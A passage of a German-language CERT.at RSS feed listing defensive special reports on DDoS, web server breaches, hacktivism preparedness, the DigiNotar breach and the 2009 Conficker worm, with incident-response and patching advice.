&lt;li&gt;Fehler in der Absicherung der Internet-Basisinfrastruktur (Filter in Routing-Protokollen, Control-Plane Protection, …)&lt;/li&gt;
&lt;li&gt;Mangelnder Schutz gegen das Einspeisen von gef&amp;auml;lschten IP-Paketen&lt;/li&gt;
&lt;li&gt;Fehlkonfiguration bei Nameservern, die sich dadurch als Angriffs-Verst&amp;auml;rker ausnutzen lassen&lt;/li&gt;
&lt;/ul&gt;

&lt;p /&gt;
&lt;hr&gt;&lt;b&gt;Informationsquelle(n):&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;i&gt;Report&lt;/i&gt;&lt;br&gt;&lt;a href='https://www.cert.at/media/files/news/specials/20130408/files/20130408-cert.at-report-ddos.pdf'&gt;http://www.cert.at/static/downloads/specials/20130408-cert.at-report-ddos.pdf&lt;/a&gt;&lt;br&gt;&lt;a href=''&gt;&lt;/a&gt;&lt;br&gt;&lt;a href=''&gt;&lt;/a&gt;</description><pubDate>Wed, 25 Sep 2019 14:10:00 GMT+0100</pubDate><guid>https://www.cert.at/de/spezielles/2013/7/spezielles-20130408</guid><dc:creator>CERT.at</dc:creator><dc:date>2019-09-25T14:10:00Z</dc:date></item><item><title>Special Report: Erfahrungswerte	aus den Webserver‐Sicherheitsvorf&amp;auml;llen von 2011</title><link>https://www.cert.at/de/spezielles/2013/7/spezielles-20111122</link><description>22. November 2011&lt;p /&gt;

&lt;h2&gt;Zusammenfassung&lt;/h2&gt;

Im Sommer und Herbst 2011 kam es zu diversen Einbr&amp;uuml;chen bei bekannten
Webseiten in &amp;Ouml;sterreich. Es wurden sensible Daten kopiert und auszugsweise
ver&amp;ouml;ffentlicht, was zu einem erheblichen materiellen und auch immateriellen
Schaden gef&amp;uuml;hrt hat. Das Team von CERT/GovCERT und Fachleute des BVT waren
an der Vorfallsbehandlung und Analyse aktiv beteiligt. Dabei stellte sich
heraus, dass eine Reihe von Fehlern in der Betriebsf&amp;uuml;hrung diese Einbr&amp;uuml;che
beg&amp;uuml;nstigt hatte.

&lt;p /&gt;

Gemeinsam wurde daher ein &lt;a href=&quot;https://www.cert.athttps://www.cert.at/media/files/news/specials/20111122/files/20111122-cert.at-report-websicherheit-public.pdf&quot;&gt;Erfahrungsbericht&lt;/a&gt; erstellt, der jetzt auch in einer &amp;ouml;ffentlichen Version
vorliegt.

&lt;p /&gt;
Dieses Dokument basiert auf den bei diesen Eins&amp;auml;tzen gesammelten
Erfahrungen und will diese Lehren an alle Betreiber von Webservern in
&amp;Ouml;sterreich weitergeben, damit diese die Sicherheit ihrer Infrastruktur
verbessern k&amp;ouml;nnen. Die hier vorliegende Liste mit Empfehlungen ist kein
umfassendes Handbuch und erhebt keinen Anspruch auf Vollst&amp;auml;ndigkeit. F&amp;uuml;r
eine ersch&amp;ouml;pfende Behandlung des Themas Sicherheit von Onlinediensten siehe
etwa &lt;a href=&quot;https://www.sicherheitshandbuch.gv.at/&quot;&gt;https://www.sicherheitshandbuch.gv.at/&lt;/a&gt; oder andere entsprechende
Fachliteratur.

&lt;p /&gt;
Die im &lt;a href=&quot;https://www.cert.athttps://www.cert.at/media/files/news/specials/20111122/files/20111122-cert.at-report-websicherheit-public.pdf&quot;&gt;Bericht&lt;/a&gt; enthaltene Punkte sind daher prim&amp;auml;r als Denkansto&amp;szlig; und als Checkliste
f&amp;uuml;r Sofortma&amp;szlig;nahmen zu sehen, damit aus den Fehlern dieses Jahres gelernt
werden kann und so weitere Einbr&amp;uuml;che vermieden werden k&amp;ouml;nnen.

&lt;p /&gt;
&lt;hr&gt;&lt;b&gt;Informationsquelle(n):&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;i&gt;Erfahrungsbericht&lt;/i&gt;&lt;br&gt;&lt;a href='https://www.cert.athttps://www.cert.at/media/files/news/specials/20111122/files/20111122-cert.at-report-websicherheit-public.pdf'&gt;http://www.cert.at/static/downloads/specials/20111122-cert.at-report-websicherheit-public.pdf&lt;/a&gt;&lt;br&gt;&lt;a href=''&gt;&lt;/a&gt;&lt;br&gt;&lt;a href=''&gt;&lt;/a&gt;</description><pubDate>Wed, 25 Sep 2019 14:09:59 GMT+0100</pubDate><guid>https://www.cert.at/de/spezielles/2013/7/spezielles-20111122</guid><dc:creator>CERT.at</dc:creator><dc:date>2019-09-25T14:09:59Z</dc:date></item><item><title>Special Report: &quot;Hacktivism&quot; - Vorbereitung auf den Ernstfall</title><link>https://www.cert.at/de/spezielles/2013/7/spezielles-20120329</link><description>29. M&amp;auml;rz 2012&lt;p /&gt;

Die Sicherheitslage in &amp;Ouml;sterreich kann aktuell als angespannt bezeichnet werden. AnonAustria hat angek&amp;uuml;ndigt gegen die Einf&amp;uuml;hrung Vorratsdatenspeicherung mittels Netz-Aktivismus vorzugehen. Hierbei ist dezidiert mit Hackingangriffen unterschiedlicher Auspr&amp;auml;gungen zu rechnen.
&lt;p /&gt;
CERT.at bietet hiermit eine &lt;b&gt;Zusammenstellung einiger n&amp;uuml;tzlicher Tipps&lt;/b&gt; zur kurzfristigen Vorbereitung sowie Reaktion f&amp;uuml;r alle potentiell gef&amp;auml;hrdeten und betroffenen Organisationen. Diese Liste erhebt &lt;b&gt;keinerlei Anspruch auf Vollst&amp;auml;ndigkeit&lt;/b&gt;.
&lt;p /&gt;
&lt;b&gt;Wichtig: &lt;/b&gt;
&lt;i&gt;Dieser Leitfaden enth&amp;auml;lt prim&amp;auml;r Empfehlungen hinsichtlich der Reaktion auf Angriffe die mediale Breitenwirksamkeit und demonstrative Absichten als Hintergrund haben. Solch geartete Angriffe sind auch unter den Begriffen &amp;quot;Netz-Aktivismus&amp;quot; und &amp;quot;Hacktivism&amp;quot; bekannt.&lt;/i&gt;

&lt;hr /&gt;
&lt;h2&gt;Know your enemy!&lt;/h2&gt;
Erst wenn eine Organisation verstanden hat, aus welchen Motiven heraus sie Opfer werden k&amp;ouml;nnte oder bereits geworden ist, kann sie sich entsprechend richtig vorbereiten und/oder im Ernstfall korrekt reagieren.

&lt;hr /&gt;
&lt;h2&gt;Was ist das Ziel von &amp;quot;Netz-Aktivismus&amp;quot;?&lt;/h2&gt;
Netz-Aktivismus ist eine moderne Form der Demonstration. Vermeintlich ungeh&amp;ouml;rte Meinungen sollen durch Erregung von &amp;ouml;ffentlicher Aufmerksamkeit mit entsprechendem Nachdruck kundgetan werden.
&lt;p /&gt;
Dabei zeigt die Vergangenheit, dass nahezu jedes Mittel recht scheint - zumindest, solange sich ein Bezug zur eigentlichen Botschaft herstellen l&amp;auml;sst.
&lt;p /&gt;
Der wichtigste Aspekt hinter derartigen Angriffen ist demnach die &amp;ouml;ffentliche Wirkung. Dieses Bewusstsein ist f&amp;uuml;r die richtige Bew&amp;auml;ltigung solcher Vorf&amp;auml;lle ma&amp;szlig;geblich entscheidend: &lt;b&gt;der Schwerpunkt liegt auf der &amp;Ouml;ffentlichkeitsarbeit.&lt;/b&gt;
&lt;p /&gt;
Neben den ebenso wichtigen technischen Agenden entscheiden die &amp;ouml;ffentlichen Statements &amp;uuml;ber die f&amp;uuml;r die betroffene Organisation positive oder negative Bew&amp;auml;ltigung eines etwaigen Angriffs. 

&lt;hr /&gt;
&lt;h2&gt;Ich bin gef&amp;auml;hrdet. Was kann ich tun? Wie kann ich mich vorbereiten?&lt;/h2&gt;
Eine erfolgreiche Bew&amp;auml;ltigung eines bereits eingetretenen Ernstfalles steht und f&amp;auml;llt mit den entsprechend getroffenen Vorkehrungen. Hierzu sei erw&amp;auml;hnt, dass dieser Leitfaden nicht mehr nur von einer fiktiven Bedrohung ausgeht, sondern von dem Szenario, dass ein Angriff gerade bevorsteht. Etwaige langfristige technische Sicherheitsvorkehrungen sind somit nicht mehr umsetzbar. 

&lt;h3&gt;&quot;Hau-Ruck&quot;-Aktionen&lt;/h3&gt;
Kurzschlussreaktionen sind fehl am Platz. Ungetestete Ma&amp;szlig;nahmen zum Beheben bereits bekannter Schwachstellen stellen dann eventuell erst recht die Ursache f&amp;uuml;r Systemprobleme dar. S&amp;auml;mtliche Ma&amp;szlig;nahmen m&amp;uuml;ssen auch in diesem Fall durchdacht, getestet und gepr&amp;uuml;ft werden.

&lt;h3&gt;Erreichbarkeit&lt;/h3&gt;
Ein Ernstfall - &amp;quot;ich wurde gehackt!&amp;quot; - ist f&amp;uuml;r die meisten Betroffenen ein Schockerlebnis. Es ist essentiell zu wissen, &lt;b&gt;WER f&amp;uuml;r WAS&lt;/b&gt; zust&amp;auml;ndig ist und &lt;b&gt;WIE und WO&lt;/b&gt; handlungsf&amp;auml;hige Personen erreicht werden k&amp;ouml;nnen.
&lt;p /&gt;
Dies betrifft in erster Linie  folgende Aufgabenbereiche:
&lt;ul&gt;
	&lt;li&gt;Treffen unternehmensrelevanter Entscheidungen&lt;/li&gt;
	&lt;li&gt;Kontakt zu Kollateral-Gesch&amp;auml;digten (Kunden, Gesch&amp;auml;ftspartner)&lt;/li&gt;
	&lt;li&gt;Kontakt zur Presse&lt;/li&gt;
	&lt;li&gt;Pr&amp;uuml;fung auf rechtliche Konsequenzen und Pflichten&lt;/li&gt;
	&lt;li&gt;Technische Schadensbegrenzung&lt;/li&gt;
&lt;/ul&gt;
Organisationen mit einem existierenden Krisenmanagement sollten dies hinsichtlich der Brauchbarkeit bei IT-Sicherheitsvorf&amp;auml;llen &amp;uuml;berpr&amp;uuml;fen und gegebenenfalls adaptieren.

&lt;h3&gt;Backups&lt;/h3&gt;
Immer wenn ungewollte Datenver&amp;auml;nderungen auftreten, wird der Ruf nach Backups laut. Selbiger verstummt aber recht schnell bzw. &amp;auml;ndert sich in einen Aufschrei der Emp&amp;ouml;rung, sollten diese beispielsweise
&lt;ul&gt;
	&lt;li&gt;veraltet&lt;/li&gt;
	&lt;li&gt;besch&amp;auml;digt&lt;/li&gt;
	&lt;li&gt;nicht zugreifbar&lt;/li&gt;
	&lt;li&gt;nicht (vollst&amp;auml;ndig) vorhanden&lt;/li&gt;
&lt;/ul&gt;
sein.

&lt;h3&gt;Stellungnahme&lt;/h3&gt;
Die vergangenen Ereignisse zeigten nachhaltig, dass Vertuschung nicht hilfreich ist. Gerade im Kontext von Netz-Aktivismus, kann der Versuch, etwas zu verschweigen, sehr rasch aus einer &amp;quot;kleinen Meldung&amp;quot; ein PR-Desaster entstehen lassen.
&lt;p /&gt;
Eine transparente Stellungnahme, mit entsprechend realistischer und konstruktiver Betrachtungsweise, kann bereits initial die gr&amp;ouml;bsten Wogen gl&amp;auml;tten.
&lt;p /&gt;
Tats&amp;auml;chlich k&amp;ouml;nnte es sogar eine &amp;Uuml;berlegung wert sein, als Erster an die &amp;Ouml;ffentlichkeit zu gehen - sozusagen ein &amp;quot;medialer Erstschlag&amp;quot;. Dies kann dem Angreifer weiteren Wind aus den Segeln nehmen und man hat zudem gewisse Kontrolle, auf welche Art und Weise der Vorfall in der &amp;Ouml;ffentlichkeit bekannt wird.
&lt;p /&gt;
Falschmeldungen k&amp;ouml;nnen in Extremf&amp;auml;llen sogar zu weiteren Angriffen f&amp;uuml;hren.
&lt;p /&gt;
In dieser Hinsicht kann es durchaus Sinn machen, eine entsprechende Stellungnahme bereits im Vorfeld auszuarbeiten. &lt;b&gt;Im Ernstfall kann man sich dann auf eine fertig vorbereitete und durchdachte Stellungnahme verlassen.&lt;/b&gt; Diese muss danach nur mehr adaptiert werden, was den Stressfaktor wesentlich reduziert. Somit macht es (je nach Organisation) Sinn, eine oder auch mehrere der folgenden Stellungnahmen, nach Adressaten (Stakeholdern) unterschieden, vorzubereiten:
&lt;ul&gt;
	&lt;li&gt;Mitarbeiter&lt;/li&gt;
	&lt;li&gt;Presse&lt;/li&gt;
	&lt;li&gt;Kunden&lt;/li&gt;
	&lt;li&gt;Gesch&amp;auml;ftspartner&lt;/li&gt;
	&lt;li&gt;Datenschutzkommission&lt;/li&gt;
	&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Erh&amp;ouml;hte Sensibilisierung&lt;/h3&gt;
Wenn abzusehen ist, dass in naher Zukunft Angriffsversuche bevorstehen, kann es durchaus Sinn machen, entsprechende Monitoring-Systeme wie Logging, IDS, IPS, maximale Anzahl an Login-Fehlversuchen ... wo m&amp;ouml;glich tempor&amp;auml;r in einen sensibleren oder auch &amp;quot;gespr&amp;auml;chigeren&amp;quot; Modus zu versetzen. Insbesondere letzteres kann eine eventuell angestrebte Beweissicherung deutlich unterst&amp;uuml;tzen und aufwerten.

&lt;h3&gt;Rechtliche Folgen&lt;/h3&gt;
Sollte es bei einer eventuellen Attacke nicht &amp;quot;blo&amp;szlig;&amp;quot; bei einem der &amp;quot;Klassiker&amp;quot;, wie die Ver&amp;auml;nderung der Website (Defacement) oder einem Denial of Service (DOS) bleiben, sondern auch sensible Daten abhanden gekommen sein, so kann das durchaus rechtliche Konsequenzen haben. Laut &amp;ouml;sterreichischem Datenschutzgesetz besteht eine Informationspflicht der betroffenen Personen bei Verlust der Vertraulichkeit. Entsprechende Abkl&amp;auml;rung bereits im Vorfeld, wie hier die rechtlichen Verpflichtungen  aussehen erleichtert es im Ernstfall die hierf&amp;uuml;r vorgegebenen Prozesse einzuhalten.

&lt;hr /&gt;
&lt;h2&gt;Ich bin Opfer. Was kann ich tun? Wie soll ich mich verhalten?&lt;/h2&gt;
&lt;b&gt;Keep cool!&lt;/b&gt;
&lt;p /&gt;
&lt;ul&gt;
	&lt;li&gt;Von Anfang an Marketing/PR &lt;b&gt;und&lt;/b&gt; Technik einbinden&lt;/li&gt;
	&lt;li&gt;Problem &lt;b&gt;nicht&lt;/b&gt; gleich zu Beginn &lt;b&gt;herunterspielen&lt;/b&gt;
	  &lt;ul&gt;
			&lt;li&gt;Nichts ist peinlicher, als Zug um Zug in der Presse immer gr&amp;ouml;&amp;szlig;ere Probleme eingestehen zu m&amp;uuml;ssen&lt;/li&gt;
	  &lt;/ul&gt;
	&lt;/li&gt;
	&lt;li&gt;&lt;b&gt;Keine Zahlen nennen&lt;/b&gt;, die nicht gesichert sind
		&lt;ul&gt;
			&lt;li&gt;Wenn &amp;uuml;berhaupt&lt;/li&gt;
		&lt;/ul&gt;
	&lt;/li&gt;
	&lt;li&gt;Bestehen eines Problems nicht verleugnen&lt;/li&gt;
	&lt;li&gt;&lt;b&gt;Keine Zeitspannen nennen&lt;/b&gt;, die nicht gesichert sind&lt;/li&gt;
&lt;/ul&gt;
&lt;p /&gt;
Auf gar keinen Fall sollten Sie sich zu aus dem ersten Schock resultierenden Kurzschlusshandlungen hinrei&amp;szlig;en lassen.
&lt;p /&gt;
Dazu geh&amp;ouml;ren zum Beispiel folgende:
&lt;ul&gt;
	&lt;li&gt;Server vom Stromnetz nehmen&lt;/li&gt;
	&lt;li&gt;Ad-hoc-Presseaussagen&lt;/li&gt;
	&lt;li&gt;Presseaussagen mit unklaren Daten&lt;/li&gt;
&lt;/ul&gt;
Solche &amp;uuml;berhasteten Aktionen k&amp;ouml;nnen sehr rasch zum Verlust von Beweisen wie auch zu eventuell noch viel gr&amp;ouml;&amp;szlig;eren Kollateralsch&amp;auml;den f&amp;uuml;hren.

&lt;h3&gt;Aktualit&amp;auml;t der gefundenen Hinweise&lt;/h3&gt;
Handelt es sich wirklich um einen aktuellen Angriff oder wurden nur Spuren einer alten Attacke aufgest&amp;ouml;bert?
&lt;p /&gt;
Unsere Erfahrungen zeigen, dass Systeme oftmals Spuren von bereits vor geraumer Zeit stattgefundenen Einbr&amp;uuml;chen/Einbruchsversuchen aufweisen.

&lt;h3&gt;Professionelle Hilfe - CERT.at kontaktieren&lt;/h3&gt;
Generell empfiehlt es sich, CERT.at bei IT-Sicherheitsvorf&amp;auml;llen aller Art, vor allem im Bereich der kritischen Infrastrukturen, zu kontaktieren (bzw. &lt;a href=&quot;http://www.govcert.gv.at&quot;&gt;GovCERT.gv.at&lt;/a&gt; falls der Vorfall mit einer Beh&amp;ouml;rde oder Organisation der &amp;ouml;ffentlichen Hand in Verbindung steht).
&lt;p /&gt;
CERT.at hilft bei der Bew&amp;auml;ltigung von Vorf&amp;auml;llen im IT-Security-Bereich durch entsprechende Vermittlung an Beh&amp;ouml;rden, Branchen sowie Organisationen bzw. in speziellen F&amp;auml;llen durch Task Forces vor-Ort weiter.
&lt;p /&gt;
Weiters &amp;uuml;berpr&amp;uuml;ft CERT.at inwiefern eventuell auch noch Dritte betroffen sein k&amp;ouml;nnten und schickt in einem solchen Fall entsprechende Warnungen und weiterf&amp;uuml;hrende Informationen aus.
&lt;p /&gt;
CERT.at nimmt bei gr&amp;ouml;&amp;szlig;eren Ereignissen die Rolle der Informationsdrehscheibe und Koordinationsstelle war. Ziel ist die Schadenspr&amp;auml;vention bzw. Schadensminimierung und eine bestm&amp;ouml;gliche, effiziente Abwicklung.
&lt;p /&gt;
&lt;b&gt;Vertraulichkeit: &lt;/b&gt;
&lt;i&gt;CERT.at behandelt generell jegliche &amp;uuml;bermittelte Information als vertraulich, und wird diese nicht ohne Zustimmung weitergeben, ausser dies ist implizit zur Bearbeitung eines Vorfalls n&amp;ouml;tig, siehe auch &lt;a href=&quot;https://www.cert.at/de/ueber-uns/zustaendigkeit&quot;&gt;http://cert.at/about/scope/scope.html&lt;/a&gt;.&lt;/i&gt;

&lt;h3&gt;Externe Hilfe&lt;/h3&gt;
Betroffene Organisationen sollten sich &lt;b&gt;fr&amp;uuml;hzeitig&lt;/b&gt; an den IT-Dienstleister Ihres Vertrauens wenden. Weiters gibt es am &amp;ouml;sterreichischen Markt auch eine Vielzahl an spezialisierten IT-Sicherheits-Dienstleistern, die mit ihrer Erfahrung bei der erfolgreichen und richtigen Bew&amp;auml;ltigung  professionelle Unterst&amp;uuml;tzung leisten k&amp;ouml;nnen.

&lt;h3&gt;Mediale Stellungnahme&lt;/h3&gt;
Jede mediale Stellungnahme - ob vorbereitet oder nicht - sollte auf jeden Fall von Marketing/PR &lt;b&gt;und&lt;/b&gt; Technik vor Ver&amp;ouml;ffentlichung gepr&amp;uuml;t werden.&lt;br /&gt;
Je nachdem, wie die Organisation positioniert ist, wird fr&amp;uuml;her oder sp&amp;auml;ter eine solche auch aktiv von den Medien eingefordert werden.
&lt;p /&gt;
Wir verweisen an dieser Stelle noch einmal explizit auf das Konzept eines &amp;quot;medialen Erstschlages&amp;quot; ... siehe oben.

&lt;h3&gt;Einschalten der Exekutive&lt;/h3&gt;
Falls der Verdacht besteht, dass der Einbruch in Zusammenhang mit Anonymous/AnonAstria steht, ersucht das in diesem Zusammenhang ermittelnde &lt;a href=&quot;http://www.bmi.gv.at/cms/bmi_verfassungsschutz/&quot;&gt;BVT&lt;/a&gt; (Bundesamt f&amp;uuml;r Verfassungsschutz und Terrorismusbek&amp;auml;mpfung) um Meldung an &lt;a href=&quot;mailto:post@bvt.gv.at&quot;&gt;post@bvt.gv.at&lt;/a&gt;.
&lt;p /&gt;
Wurde in ein IT-System wie auch immer geartet eingebrochen und eventuell sogar Daten ver&amp;auml;ndert und/oder gestohlen, so kann es sich hierbei durchaus um eine strafrechtlich relevante Tat handeln. Im Zweifelsfall empfehlen wir eine Abkl&amp;auml;rung mit der Exekutive - das Bundesministerium f&amp;uuml;r Inneres (BMI) hat hierf&amp;uuml;r eine Erstanlaufstelle (und zwar nicht wie angegeben &quot;nur&quot; f&amp;uuml;r Internetbetrug) eingerichtet. N&amp;auml;here Informationen hierzu finden Sie unter&lt;br /&gt;
&lt;a
href=&quot;http://www.bmi.gv.at/cms/BK/meldestellen/internetkrimina/start.aspx&quot;&gt;http://www.bmi.gv.at/cms/BK/meldestellen/internetkrimina/start.aspx&lt;/a&gt;.
&lt;p /&gt;
Gerne stellen wir auch als CERT.at den Kontakt zu entsprechenden Beh&amp;ouml;rden her.

&lt;h3&gt;Rechtliche Konsequenzen und Pflichten der betroffenen Organisation&lt;/h3&gt;
Wie bereits bei den Vorbereitungsma&amp;szlig;nahmen erw&amp;auml;hnt, k&amp;ouml;nnen Einbr&amp;uuml;che auch rechtliche Konsequenzen f&amp;uuml;r die betroffene Institution selbst haben und mit gesetzlichen Pflichten einhergehen. Als Beispiel hierf&amp;uuml;r ist der Verlust von pers&amp;ouml;nlichen Daten der Kunden und die daraus resultierende Informationspflicht zu nennen (Datenschutzgesetz).</description><pubDate>Wed, 25 Sep 2019 14:10:00 GMT+0100</pubDate><guid>https://www.cert.at/de/spezielles/2013/7/spezielles-20120329</guid><dc:creator>CERT.at</dc:creator><dc:date>2019-09-25T14:10:00Z</dc:date></item><item><title>Special Report: Einbruch bei DigiNotar</title><link>https://www.cert.at/de/spezielles/2013/7/spezielles-20110908</link><description>8. September 2011&lt;p /&gt;

&lt;h2&gt;Zusammenfassung&lt;/h2&gt;

Anfang September wurde bekannt, dass ein Angreifer in die
niederl&amp;auml;ndische Certification Authority (CA) &quot;DigiNotar&quot;
eingebrochen hatte und sich unbefugt Zertifikate f&amp;uuml;r diverse Domains
(u.A. google.com) ausgestellt hatte. Diese wurden f&amp;uuml;r Abh&amp;ouml;rangriffe
auf Iranische B&amp;uuml;rger benutzt. 

&lt;p /&gt;
Die betroffenen CAs wurden inzwischen
von einigen Browser- und Betriebssystemherstellern aus deren Systemen
gestrichen, dadurch werden auch legitime Zertifikate von DigiNotar
nicht mehr als g&amp;uuml;ltig anerkannt. 

&lt;p /&gt;
Da Zertifikate von DigiNotar in
den Niederlanden f&amp;uuml;r die staatlichen Public-Key-Infrastructure
benutzt werden, hat dieser Angriff ernste Folgen f&amp;uuml;r die dortige
IT-Infrastruktur.

&lt;p /&gt;
Der vorliegende &lt;a href=&quot;https://www.cert.at/media/files/news/specials/20110908/files/CERT.at_report_DigiNotar_Breach_public.pdf&quot;&gt;Bericht von CERT.at&lt;/a&gt; dokumentiert den Vorfall, untersucht die Auswirkungen auf &amp;Ouml;sterreich und zeigt auf, welche Lehren daraus f&amp;uuml;r die Zukunft gezogen werden k&amp;ouml;nnen.

&lt;p /&gt;
&lt;hr&gt;&lt;b&gt;Informationsquelle(n):&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;i&gt;CERT.at Zwischenbericht zum Einbruch bei DigiNotar&lt;/i&gt;&lt;br&gt;&lt;a href='https://www.cert.at/media/files/news/specials/20110908/files/CERT.at_report_DigiNotar_Breach_public.pdf'&gt;http://www.cert.at/static/downloads/specials/CERT.at_report_DigiNotar_Breach_public.pdf&lt;/a&gt;&lt;br&gt;&lt;i&gt;Factsheets von GOVCERT.NL&lt;/i&gt;&lt;br&gt;&lt;a href='https://www.govcert.nl/english/service-provision/knowledge-and-publications/factsheets'&gt;https://www.govcert.nl/english/service-provision/knowledge-and-publications/factsheets&lt;/a&gt;&lt;br&gt;&lt;i&gt;Timeline (SANS Storm Center)&lt;/i&gt;&lt;br&gt;&lt;a href='https://isc.sans.edu/diary.html?date=2011-09-01'&gt;https://isc.sans.edu/diary.html?date=2011-09-01&lt;/a&gt;</description><pubDate>Wed, 25 Sep 2019 14:09:59 GMT+0100</pubDate><guid>https://www.cert.at/de/spezielles/2013/7/spezielles-20110908</guid><dc:creator>CERT.at</dc:creator><dc:date>2019-09-25T14:09:59Z</dc:date></item><item><title>Status zu Conficker und 1. April 2009</title><link>https://www.cert.at/de/spezielles/2013/7/spezielles-20090331</link><description>31. M&amp;auml;rz 2009&lt;p&gt;

Anl&amp;auml;sslich der Aufmerksamkeit, die das Thema Conficker/Downadup und 1. April momentan in den Medien erf&amp;auml;hrt, hat CERT.at hier die wichtigsten Fragen&amp;Antworten zusammengefasst.


&lt;h2&gt;Was passiert am 1. April 2009?&lt;/h2&gt;
Basierend auf verschiedenen technischen Analysen wurde herausgefunden, dass Systeme, die mit dem aktuellen Conficker-Wurm infiziert sind, versuchen werden, &amp;uuml;ber einen neuen Algorithmus Code aus dem Internet nachzuladen. Bisher wurden keine anderen Hinweise auf Aktivit&amp;auml;ten des Wurms, die den 1. April betreffen, gefunden.

&lt;h2&gt;Wird es am 1. April 2009 eine neue Version des Conficker-Wurms geben?&lt;/h2&gt;
Es ist durchaus m&amp;ouml;glich, dass Systeme, die vom aktuellen Conficker-Wurm befallen sind, am 1. April neuen Code &amp;uuml;ber den neuen Domainnamen-Algorithmus nachladen werden. Diese Systeme konnten aber auch schon bisher &amp;uuml;ber eine Peer-to-Peer - Methode von den Wurm-Autoren mit neuem Code versorgt werden.

&lt;h2&gt;Sollte die &amp;Ouml;ffentlichkeit besorgt sein?&lt;/h2&gt;
Nein, die &amp;Ouml;ffentlichkeit sollte nicht besorgt sein. Die meisten Privatbenutzer sind bereits durch die automatische Installation des Microsoft-Patches MS08-067 vor dem Wurm gesch&amp;uuml;tzt.

&lt;h2&gt;Wie kann ich herausfinden, ob mein PC befallen ist, und was soll ich dann tun?&lt;/h2&gt;
Unter &lt;a href=&quot;http://www.confickerworkinggroup.org/wiki/pmwiki.php?n=ANY.RepairTools&quot;&gt;http://www.confickerworkinggroup.org/wiki/pmwiki.php?n=ANY.RepairTools&lt;/a&gt; (englisch) befindet sich eine Liste an Tools, mit denen befallene Systeme erkannt und gegebenenfalls ges&amp;auml;ubert werden k&amp;ouml;nnen.&lt;br&gt;
Auch Microsoft bietet via &lt;a href=&quot;http://safety.live.com/&quot;&gt;http://safety.live.com/&lt;/a&gt; M&amp;ouml;glichkeiten zur Analyse/Entfernung.&lt;p&gt;
Diese Seiten sind aber gerade von befallenen Systemem aus oft nicht erreichbar.&lt;p&gt;

&lt;h2&gt;Ist das Entfernungs-Tool XYZ geeignet, um befallene Systeme zu erkennen und zu reparieren?&lt;/h2&gt;
Wir warnen ausdr&amp;uuml;cklich vor sogenannten &quot;Trittbrettfahrern&quot;, die momentan versuchen, mit falschen Entfernungs-Tools noch mehr PCs unter ihre Kontrolle zu bringen, und ersuchen, nur die von der Conficker Working Group oder anderen seri&amp;ouml;sen Institutionen empfohlenen Entfernungs-Tools zu verwenden.

&lt;h2&gt;Empfehlungen&lt;/h2&gt;
Wir empfehlen, dass Benutzer, die automatische Updates noch nicht aktiviert haben, dies tun, und sicherstellen, dass die installierte Sicherheitssoftware (Firewall, Anti-Viren-Software) immer auf aktuellem Stand ist, vgl. auch &lt;a href=&quot;http://www.microsoft.com/germany/athome/security/viruses/conficker.mspx&quot;&gt;http://www.microsoft.com/germany/athome/security/viruses/conficker.mspx&lt;/a&gt;.&lt;p&gt;

Firmen wird empfohlen, sicherzustellen, dass der Microsoft-Patch MS08-067 auf allen System installiert ist, von Conficker (egal welcher Version) befallene Systeme zu s&amp;auml;ubern, die Signaturen der Anti-Viren-Software aktuell zu halten und zus&amp;auml;tzliche Sicherheitsmassnahmen - wie zB von Microsoft in &lt;a href=&quot;http://technet.microsoft.com/de-de/security/dd452420(en-us).aspx&quot;&gt;http://technet.microsoft.com/de-de/security/dd452420(en-us).aspx&lt;/a&gt; (englisch) vorgeschlagen - zu evaluieren.&lt;hr&gt;&lt;b&gt;Informationsquelle(n):&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;i&gt;Wikipedia-Eintrag zu Conficker&lt;/i&gt;&lt;br&gt;&lt;a href='http://de.wikipedia.org/wiki/Conficker'&gt;http://de.wikipedia.org/wiki/Conficker&lt;/a&gt;&lt;br&gt;&lt;i&gt;Liste von Repair Tools (englisch)&lt;/i&gt;&lt;br&gt;&lt;a href='http://www.confickerworkinggroup.org/wiki/pmwiki.php?n=ANY.RepairTools'&gt;http://www.confickerworkinggroup.org/wiki/pmwiki.php?n=ANY.RepairTools&lt;/a&gt;</description><pubDate>Wed, 25 Sep 2019 14:09:57 GMT+0100</pubDate><guid>https://www.cert.at/de/spezielles/2013/7/spezielles-20090331</guid><dc:creator>CERT.at</dc:creator><dc:date>2019-09-25T14:09:57Z</dc:date></item></channel></rss>
